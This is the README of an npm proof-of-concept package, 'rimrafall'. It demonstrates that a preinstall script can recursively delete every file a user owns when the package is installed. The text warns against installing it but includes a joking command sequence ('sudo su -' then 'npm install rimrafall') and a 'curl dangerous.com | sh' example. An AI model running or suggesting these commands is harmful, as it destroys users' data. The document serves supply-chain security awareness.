rimrafall
This is to show that npm install
can be as dangerous as curl dangerous.com | sh
.
update, it's off the npm registry
It was taken off the npm registry but it solves nothing really, anyone could make malicious modules like this and mask it as a useful module that has a desired use case. Let's try to find ways to really make npm safe ;)
update 2, no intent of being malicious
No, I did not name this package rimrafall
, submited it to HN, clearly stated what it does and clearly told people not to install it with the purpose of having people delete stuff on their computers.
Whatever you do, do not
npm install rimrafall
It has a preinstall
script that will delete all the files and folders your current user owns, recursively, in /
.
legitimate use case:
e.g., you need to completely incapacitate a machine (but please do heed the warning above):
sudo su -
npm install rimrafall
you might see lots of error messages like these:
rm: cannot remove `/sys/block/sda': Operation not permitted
rm: cannot remove `/sys/block/dm-0': Operation not permitted
rm: cannot remove `/sys/block/dm-1': Operation not permitted
which can safely be ignored.